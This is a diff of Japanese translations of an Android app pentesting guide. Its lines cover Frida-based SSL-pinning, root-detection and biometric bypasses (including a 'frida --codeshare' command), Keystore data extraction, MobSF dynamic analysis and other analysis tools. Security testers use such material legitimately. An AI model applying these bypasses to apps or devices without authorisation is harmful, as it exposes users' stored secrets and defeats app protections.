- ここで素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてくださいツール[linjector](https://github.com/erfur/linjector-rs))。
- ここでいくつかの素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaをロードして、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてくださいツール[linjector](https://github.com/erfur/linjector-rs))。
### **メモリダンプ - Fridump**
@ -452,9 +452,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Keystore内の機密データ**
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスへの物理的アクセスを持つ誰かがこのデータを盗むことができるかもしれません。
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスへの物理的アクセスを持つがこのデータを盗むことができるかもしれません。
アプリがKeystoreにデータを保存していても、データは暗号化されているべきです。
アプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。
Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
@ -468,9 +468,9 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **バックグラウンド画像**
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む可能性**があります(アクセスするにはルート権限が必要です)。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはルート権限が必要です)。
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
@ -486,12 +486,12 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
開発者は、これらのインテントを処理し、`startActivity(...)``sendBroadcast(...)`などのメソッドに渡すプロキシコンポーネント(アクティビティ、サービス、ブロードキャストレシーバーなど)を作成することがよくありますが、これはリスクを伴います。
危険は、攻撃者がこれらのインテントを誤って誘導することによって、非エクスポートアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりできることにあります。注目すべき例は、`WebView`コンポーネントがURLを`Intent`オブジェクトに変換し、`Intent.parseUri(...)`を介して実行することで、悪意のあるインテント注入につながる可能性があります。
危険は、攻撃者がこれらのインテントを誤って誘導することによって、非エクスポートアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりできることにあります。注目すべき例は、`WebView`コンポーネントがURLを`Intent`オブジェクトに変換し、`Intent.parseUri(...)`を介して実行することで、悪意のあるインテントインジェクションを引き起こす可能性があることです。
### Essential Takeaways
- **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。
- 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不安全な操作を実行するためにリダイレクトされる可能性があります。
- 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、安全操作を実行するためにリダイレクトされる可能性があります。
- 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。
- `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。
@ -500,7 +500,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
おそらく、あなたはウェブからこの種の脆弱性について知っているでしょう。Androidアプリケーションにおいては、これらの脆弱性に特に注意する必要があります
- **SQL Injection:** 動的クエリやコンテンツプロバイダーを扱う際は、パラメータ化されたクエリを使用していることを確認してください。
- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptとプラグインのサポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled).
- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptおよびプラグインサポートが無効になっていることを確認してください(デフォルトで無効)。 [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViewはファイルシステムへのアクセスを無効にする必要がありますデフォルトで有効 - `(webview.getSettings().setAllowFileAccess(false);)`。 [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Androidアプリケーションがセッションを終了するとき、クッキーが取り消されない場合や、ディスクに保存されることがあります。
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -527,22 +527,22 @@ MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも
### MobSFによる支援された動的分析
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注最初に**genymotionでVMを起動**し、**その後MobSFを起動**する必要があります。_\
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注最初に**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。**_\
**MobSF動的アナライザー**は以下を行うことができます:
- **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは、取得したいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには"**Exported Activity Tester**"を押す必要があります。
- **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットはあなたが撮りたいときに押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するには"**Exported Activity Tester**"を押す必要があります。
- **HTTPSトラフィックをキャプチャ**
- **Frida**を使用して**ランタイム**の**情報**を取得
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定を行います。テストされたアプリケーションからのトラフィックのみをキャプチャします。
**Frida**
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すとFridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます(これは"Start Instrumentation"を押した後に表示されます)。\
MobSFは、独自の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`追加できます)。ただし、**それらを選択し**、"**Load**"を押し、"**Start Instrumentation**"を押す必要があります(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すとFridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すとフックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
MobSFはあなた自身の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`さらに追加できます)、ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押します(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。
![](<../../images/image (419).png>)
@ -551,15 +551,15 @@ MobSFは、独自の**Fridaスクリプト**を読み込むこともできます
- **読み込まれたクラスを列挙**:すべての読み込まれたクラスを印刷します
- **文字列をキャプチャ**:アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい)
- **文字列比較をキャプチャ**:非常に便利です。**比較されている2つの文字列**と結果がTrueかFalseかを**表示**します。
- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドを印刷します。
- **クラスメソッドを列挙**:クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが印刷されます。
- **クラスパターンを検索**:パターンでクラスを検索
- **クラスメソッドをトレース****クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトではMobSFは興味深いAndroid APIメソッドをいくつかトレースします。
- **クラスメソッドをトレース****クラス全体をトレース**そのクラスのすべてのメソッドの入力と出力を確認。デフォルトではMobSFは興味深いAndroid APIメソッドをいくつかトレースします。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力"**Frida Live Logs**"に表示されます。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押す必要があり、すべての出力"**Frida Live Logs**"に表示されます。
**Shell**
Mobsfは、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェル提供します。いくつかの興味深いコマンド:
Mobsfはまた、動的分析ページの下部にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェル**コマンドを持つシェル提供します。いくつかの興味深いコマンド:
```bash
help
shell ls
@ -589,13 +589,13 @@ MobSFで動的分析を終えたら、"**Start Web API Fuzzer**"を押して**HT
### [Yaazhini](https://www.vegabird.com/yaazhini/)
これは**GUIを使用した静的分析を実行するための優れたツール**です。
これは**GUIを使用した静的分析を実行するための素晴らしいツール**です。
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**"Proof-of-Concept"デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すために設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**「Proof-of-Concept」デプロイ可能APK**および**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちのニーズに応じて分析するための独自のルールを作成できます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のために独自のルールを作成できます。
最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。
```
@ -637,7 +637,7 @@ StaCoAnは、開発者、バグバウンティハンター、倫理的ハッカ
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\
AndroBugs Frameworkは、Androidアプリケーションの潜在的なセキュリティ脆弱性を開発者やハッカーが見つけるのを助けるAndroid脆弱性分析システムです。\
[Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -647,7 +647,7 @@ androbugs.exe -f [APK file]
**Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。
検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
検出は、アプリケーションのDalvikバイトコードを**静的分析**することで行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します:電話識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
```
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
**MARA**は**モバイルアプリケーションの逆アセンブルと分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
以下のことが可能です:
@ -665,7 +665,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
- [smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)を使用してAPKを分析する
- 正規表現を使用してAPKからプライベート情報を抽出する
- マニフェストを分析する
- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、および[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する
- [pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh)、[whatweb](https://github.com/urbanadventurer/WhatWeb)を使用して見つかったドメインを分析する
- [apk-deguard.com](http://www.apk-deguard.com)を介してAPKをデオブフスケートする
### Koodous
@ -686,12 +686,12 @@ ProGuardはAndroid SDKの一部として配布され、リリースモードで
APKをデオブフスケートするためのステップバイステップガイドは[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)で見つけることができます。
そのガイドから最後に確認したとき、Dexguardの動作モードは次のとおりでした:
(そのガイドから) 最後に確認したとき、Dexguardの動作モードは以下の通りでした:
- リソースをInputStreamとして読み込む
- 結果をFilterInputStreamから継承したクラスに渡して復号化する
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する
- リソースをInputStreamとして読み込む;
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う;
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
- 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。
### [DeGuard](http://apk-deguard.com)
@ -702,11 +702,11 @@ APKをデオブフスケートするためのステップバイステップガ
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
これは、Androidアプリの潜在的なセキュリティ脆弱性を見つけ、AndroidアプリコードをデオブフスケートするためのLLMツールです。GoogleのGeminiパブリックAPIを使用します。
これは、Androidアプリの潜在的なセキュリティ脆弱性を見つけ、AndroidアプリコードをデオブフスケートするためのLLMツールです。GoogleのGeminiパブリックAPIを使用します。
### [Simplify](https://github.com/CalebFenton/simplify)
これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。各最適化タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。
これは**汎用のAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。各最適化タイプはシンプルで汎用的であるため、使用される特定の難読化のタイプは関係ありません。
### [APKiD](https://github.com/rednaga/APKiD)
@ -714,13 +714,13 @@ APKiDは**APKがどのように作成されたか**に関する情報を提供
### マニュアル
[カスタム難読化を逆コンパイルする方法についてのいくつかのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
[カスタム難読化を逆転させる方法についてのトリックを学ぶためにこのチュートリアルを読んでください](manual-deobfuscation.md)
## ラボ
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含んでいます。
## 参考文献

View File

@ -4,10 +4,10 @@
## Android Security Model
**二つのがあります:**
**二つのレイヤーがあります:**
- **OS**は、インストールされたアプリケーションを互いに隔離します。
- **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を構成することを可能にします。
- **アプリケーション自体**は、開発者が**特定の機能を公開**し、アプリケーションの機能を設定することを可能にします。
### UID Separation
@ -15,7 +15,7 @@
### UID Sharing
**二つのアプリケーションは同じUIDを使用するように構成できます**。これは情報を共有するのに便利ですが、一方が侵害されると両方のアプリケーションのデータが侵害されることになります。これがこの動作が**推奨されない理由です**。\
**二つのアプリケーションは同じUIDを使用するように設定できます**。これは情報を共有するのに便利ですが、一方が侵害されると両方のアプリケーションのデータが侵害されることになります。これがこの動作が**推奨されない理由です**。\
**同じUIDを共有するには、アプリケーションはマニフェストで同じ`android:sharedUserId`値を定義する必要があります。**
### Sandboxing
@ -25,10 +25,10 @@ Android 5.0(L)以降は**SELinux**が強制されます。基本的に、SELinux
### Permissions
アプリをインストールするときに**アプリが権限を要求する**場合、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素で構成された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\
Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできます**が、すべての権限は**マニフェストで宣言されなければなりません**。
アプリをインストールするときに**アプリが権限を要求する**場合、アプリは**AndroidManifest.xml**ファイル内の**`uses-permission`**要素に設定された権限を要求しています。**uses-permission**要素は、**name**属性内で要求された権限の名前を示します。また、**maxSdkVersion**属性があり、指定されたバージョンよりも高いバージョンでは権限の要求を停止します。\
Androidアプリケーションは最初にすべての権限を要求する必要はなく、**動的に権限を要求することもできます**が、すべての権限は**マニフェストに宣言されている必要があります**。
アプリが機能を公開する際には、**特定の権限を持つアプリのみにアクセスを制限することができます**。\
アプリが機能を公開する際には、**特定の権限を持つアプリのみがアクセスできるように制限することができます**。\
権限要素には三つの属性があります:
- 権限の**name**
@ -50,9 +50,9 @@ Androidアプリケーションは最初にすべての権限を要求する必
## Rooting
物理的なAndroidデバイスにルートアクセスを取得するには、一般的に**1つまたは2つの脆弱性を**利用する必要があります。これらは**デバイス**と**バージョン**に特有のものであることが多いです。\
エクスプロイトが成功すると、通常、Linuxの`su`バイナリがユーザーのPATH環境変数指定された場所(例:`/system/xbin`)にコピーされます。
エクスプロイトが成功すると、通常、Linuxの`su`バイナリがユーザーのPATH環境変数指定された場所(例:`/system/xbin`)にコピーされます。
suバイナリが設定されると、別のAndroidアプリが`su`バイナリとインターフェースし、**ルートアクセスのリクエストを処理**します(**Superuser**や**SuperSU**など、Google Playストアで入手可能
`su`バイナリが設定されると、別のAndroidアプリが`su`バイナリとインターフェースし、**ルートアクセスのリクエストを処理します**。これには**Superuser**や**SuperSU**Google Playストアで入手可能が含まれます
> [!CAUTION]
> ルート化プロセスは非常に危険であり、デバイスに深刻な損傷を与える可能性があることに注意してください。
@ -60,7 +60,7 @@ suバイナリが設定されると、別のAndroidアプリが`su`バイナリ
### ROMs
**カスタムファームウェアをインストールすることでOSを置き換えることが可能です**。これにより、古いデバイスの有用性を拡張したり、ソフトウェア制限を回避したり、最新のAndroidコードにアクセスしたりすることができます。\
**OmniROM**や**LineageOS**は、使用するための最も人気のあるファームウェアの二つです。
**OmniROM**や**LineageOS**は使用するのに人気のあるファームウェアの二つです。
**カスタムファームウェアをインストールするためにデバイスをルート化する必要はないことに注意してください**。**一部の製造元は**、文書化され、安全な方法でブートローダーのロック解除を許可しています。
@ -114,9 +114,13 @@ Android開発では、**JavaまたはKotlin**がアプリ作成に使用され
### Intent-Filter
**インテントフィルター**は、**アクティビティ、サービス、またはブロードキャストレシーバーが異なるタイプのインテントとどのように相互作用できるかを定義します**。基本的に、これらのコンポーネントの能力を説明し、どのようなアクションを実行できるか、またはどのようなブロードキャストを処理できるかを示します。これらのフィルターを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバーの場合はコーディングすることも選択肢です。
**インテントフィルター**は、**アクティビティ、サービス、またはブロードキャストレシーバーが異なるタイプのインテントとどのように相互作用できるかを定義します**。基本的に、これらのコンポーネントの能力を説明し、どのようなアクションを実行できるか、またはどのようなブロードキャストを処理できるかを示します。これらのフィルターを宣言する主な場所は**AndroidManifest.xmlファイル**ですが、ブロードキャストレシーバーの場合はコーディングすることも選択肢です。
インテントフィルターは、カテゴリ、アクション、およびデータフィルターで構成され、追加のメタデータを含めることができます。この設定
インテントフィルターは、カテゴリ、アクション、およびデータフィルターで構成され、追加のメタデータを含めることができます。この設定により、コンポーネントは宣言された基準に一致する特定のインテントを処理できます。
Androidコンポーネントアクティビティ/サービス/コンテンツプロバイダー/ブロードキャストレシーバー)の重要な側面は、その可視性または**公開状態**です。コンポーネントは、**`exported`**が**`true`**の値である場合、またはマニフェストにインテントフィルターが宣言されている場合、公開と見なされ、他のアプリと相互作用できます。ただし、開発者はこれらのコンポーネントを明示的にプライベートに保ち、他のアプリと意図せず相互作用しないようにする方法があります。これは、マニフェスト定義で**`exported`**属性を**`false`**に設定することで実現されます。
さらに、開発者は特定の権限を要求することで、これらのコンポーネントへのアクセスをさらに保護するオプションがあります。**`permission`**属性を設定することで、指定された権限を持つアプリのみがコンポーネントにアクセスできるようにし、誰がそれと相互作用できるかに対する追加のセキュリティと制御のレイヤーを追加します。
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -157,18 +161,18 @@ context.startService(intent);
```
### Pending Intents
これにより、他のアプリケーションが**あなたのアプリケーションの代理でアクションを実行する**ことができます。Pending Intentを構築する際には、**インテントと実行するアクションを指定する必要があります**。もし**宣言されたインテントが明示的でない場合**(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代理で宣言されたアクションを実行する可能性があります**。さらに、**アクションが指定されていない場合**、悪意のあるアプリは**被害者の代理で任意のアクションを実行できる**ようになります。
これにより、他のアプリケーションが**あなたのアプリケーションの代理でアクションを実行する**ことができます。Pending Intentを構築する際には、**インテントと実行するアクションを指定する必要があります**。もし**宣言されたインテントが明示的でない場合**(どのインテントが呼び出せるかを宣言していない場合)、**悪意のあるアプリケーションが被害者アプリの代理で宣言されたアクションを実行する可能性があります**。さらに、**アクションが指定されていない場合**、悪意のあるアプリは**被害者の代理で任意のアクションを実行できる**ことになります。
### Broadcast Intents
前のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、Intent.setPackageを使用して**メッセージを受信すべきアプリを指定することが可能です**。
前のインテントとは異なり、1つのアプリだけが受信するのではなく、ブロードキャストインテントは**複数のアプリで受信可能です**。ただし、APIバージョン14以降は、**メッセージを受信するアプリを指定することが可能です**。Intent.setPackageを使用します。
また、ブロードキャストを送信する際に**権限を指定することも可能です**。受信アプリはその権限を持っている必要があります。
ブロードキャストには**2種類**があります:**通常**(非同期)と**順序付き**(同期)。**順序**は**受信者要素内の設定された優先度**に基づいています。**各アプリはブロードキャストを処理、転送、または破棄することができます**。
`Context`クラスの`sendBroadcast(intent, receiverPermission)`関数を使用して**ブロードキャストを送信**することが可能です。\
また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを出ることはありません**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。
`Context`クラスの関数`sendBroadcast(intent, receiverPermission)`を使用して**ブロードキャストを送信**することが可能です。\
また、**`LocalBroadCastManager`**の**`sendBroadcast`**関数を使用すると、**メッセージがアプリを離れないことが保証されます**。これを使用すると、受信者コンポーネントをエクスポートする必要すらありません。
### Sticky Broadcasts
@ -180,9 +184,9 @@ context.startService(intent);
## Deep links / URL schemes
Androidアプリケーションでは、**ディープリンク**を使用してURLを介して直接アクションインテントを開始します。これは、アクティビティ内に特定の**URLスキーム**を宣言することで行われます。Androidデバイスがこのスキームを持つURLに**アクセスしようとすると**、アプリケーション内の指定されたアクティビティが起動します。
Androidアプリケーションでは、**ディープリンク**を使用してURLを介して直接アクションインテントを開始します。これは、アクティビティ内で特定の**URLスキーム**を宣言することによって行われます。Androidデバイスがこのスキームを持つURLに**アクセスしようとすると**、アプリケーション内の指定されたアクティビティが起動します。
スキームは**`AndroidManifest.xml`**ファイル宣言する必要があります:
スキームは**`AndroidManifest.xml`**ファイル内で宣言する必要があります:
```xml
[...]
<activity android:name=".MyActivity">
@ -194,9 +198,9 @@ Androidアプリケーションでは、**ディープリンク**を使用して
</intent-filter>
[...]
```
前の例のスキームは `examplescheme://` です(**`category BROWSABLE`** も注意してください)
前の例のスキームは `examplescheme://` です(**`category BROWSABLE`** も注意してください)
次に、データフィールドで **host****path** を指定できます:
次に、データフィールドで **host****path** を指定できます
```xml
<data android:scheme="examplescheme"
android:host="example"
@ -213,13 +217,13 @@ HTMLページを使用せずに[ディープリンクを呼び出す方法](#exp
## AIDL - Androidインターフェース定義言語
**Androidインターフェース定義言語AIDL**は、Androidアプリケーションにおけるクライアントとサービス間の**プロセス間通信**IPCを容易にするために設計されています。他のプロセスのメモリに直接アクセスすることはAndroidでは許可されていないため、AIDLはオブジェクトをオペレーティングシステムが理解できる形式にマーシャリングすることで、異なるプロセス間の通信を容易にします。
**Androidインターフェース定義言語AIDL**は、Androidアプリケーションにおける**プロセス間通信**IPCを通じてクライアントとサービス間の通信を促進するために設計されています。他のプロセスのメモリに直接アクセスすることはAndroidでは許可されていないため、AIDLはオブジェクトをオペレーティングシステムが理解できる形式にマーシャリングすることで、異なるプロセス間の通信を容易にします。
### 主要概念
- **バウンドサービス**: これらのサービスはIPCのためにAIDLを利用し、アクティビティやコンポーネントがサービスにバインドし、リクエストを行い、レスポンスを受け取ることを可能にします。サービスのクラス内の`onBind`メソッドは、相互作用を開始するために重要であり、脆弱性を探すためのセキュリティレビューにおいて重要な領域です。
- **メッセンジャー**: バウンドサービスとして機能するメッセンジャーは、`onBind`メソッドを通じてデータを処理することに重点を置いIPCを促進します。このメソッドを注意深く検査し、安全でないデータ処理や機密関数の実行がないか確認することが重要です。
- **メッセンジャー**: バウンドサービスとして機能するメッセンジャーは、`onBind`メソッドを通じてデータを処理することに重点を置いIPCを促進します。このメソッドを注意深く検査し、安全でないデータ処理や機密関数の実行がないか確認することが重要です。
- **バインダー**: AIDLの抽象化によりバインダーの直接使用はあまり一般的ではありませんが、バインダーは異なるプロセスのメモリ空間間でデータ転送を促進するカーネルレベルのドライバーとして機能することを理解することは有益です。さらなる理解のために、リソースは[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)で利用可能です。
@ -231,8 +235,8 @@ HTMLページを使用せずに[ディープリンクを呼び出す方法](#exp
Androidアプリでは、**アクティビティ**は画面のようなもので、アプリのユーザーインターフェースの異なる部分を表示します。アプリは多くのアクティビティを持つことができ、それぞれがユーザーにユニークな画面を提供します。
**ランチャーアクティビティ**はアプリへの主要な入り口であり、アプリのアイコンをタップすると起動します。これは、特定のMAINおよびLAUNCHERインテントを持つアプリのマニフェストファイルで定義されています。
```markup
**ランチャーアクティビティ**はアプリへの主要なゲートウェイであり、アプリのアイコンをタップすると起動します。これは、特定のMAINおよびLAUNCHERインテントを持つアプリのマニフェストファイルで定義されています。
```html
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
@ -246,7 +250,7 @@ Androidアプリでは、**アクティビティ**は画面のようなもので
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
しかし、別のアプリからアクティビティにアクセスすることが常にセキュリティリスクになるわけではありません。懸念は、機密データが不適切に共有される場合に生じ、情報漏洩につながる可能性があります。
